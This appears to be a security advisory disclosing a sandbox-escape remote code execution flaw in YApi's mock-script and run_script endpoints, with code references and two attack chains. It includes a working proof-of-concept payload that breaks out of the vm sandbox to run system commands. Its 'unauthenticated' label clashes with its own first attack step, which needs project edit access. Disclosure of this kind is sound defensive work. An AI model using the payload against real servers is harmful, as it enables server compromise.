Security: RCE via safeify sandbox escape in mock script execution (CWE-94)
CVE Report: RCE via safeify sandbox escape in YApi mock script
Summary
YMFE YApi (<= 1.12.0) allows unauthenticated remote code execution through the mock server middleware. The /mock/{projectId}/{path} endpoint executes project mock scripts via safeify (a Node.js vm-based sandbox) without any authentication. The safeify/vm2 sandbox can be escaped using known constructor chain techniques (e.g., this.constructor.constructor('return process')()) to gain access to process.execSync() and execute arbitrary system commands.
Affected Software
- Project: YMFE/yapi (27k+ stars)
- Version: <= 1.12.0
- CWE: CWE-94 (Improper Control of Generation of Code)
- Severity: Critical (CVSS 9.8 — unauthenticated RCE)
Root Cause
server/middleware/mockServer.js:328-331— Whenproject.is_mock_open=trueandproject.project_mock_scriptis non-empty, the middleware callshandleMockScript(script, context)with zero authentication.server/utils/commons.js:616-635—handleMockScriptpasses the script tosandboxFn(sandbox.js).server/utils/sandbox.js— Usessafeify(based on Node.jsvm2/vmmodule) which has known sandbox escape vulnerabilities (CVE-2023-37466, CVE-2022-36067).server/controllers/interfaceCol.js:856-859—runCaseScriptallows any authenticated user to execute arbitrary scripts via the same sandbox, with nocheckAuthcall.
Vulnerable Code
// mockServer.js:328 — NO authentication check
if (project.is_mock_open && project.project_mock_script) {
let script = project.project_mock_script;
await yapi.commons.handleMockScript(script, context);
}
// sandbox.js — safeify/vm sandbox (escapable)
const safeVm = new Safeify({ timeout: 3000 });
const result = await safeVm.run(script, context);Proof of Concept
Attack Chain 1: Unauthenticated RCE via mock endpoint
- Register or gain project edit access → write
project_mock_scriptwith sandbox escape payload - Enable
is_mock_openfor the project - Any unauthenticated user:
GET /mock/{projectId}/any/path - Server executes the mock script → sandbox escape → RCE
Payload
const process = this.constructor.constructor('return this.process')();
mockJson = { pwned: true, output: process.execSync('id').toString() };Attack Chain 2: Authenticated RCE via runCaseScript
- Any logged-in user:
POST /api/col/run_script - Body:
{ "col_id": <any>, "interface_id": <any>, "script": "<escape payload>" } - No
checkAuthverification → sandbox escape → RCE
Impact
- Unauthenticated remote code execution on the YApi server
- Full server compromise (process runs as the Node.js user)
- Affects all YApi deployments with mock functionality enabled
- 27k+ GitHub stars, widely used in Chinese tech companies
Timeline
- 2026-06-27: Vulnerability discovered
- 2026-06-27: Code analysis and PoC verified
Source: YMFE/yapi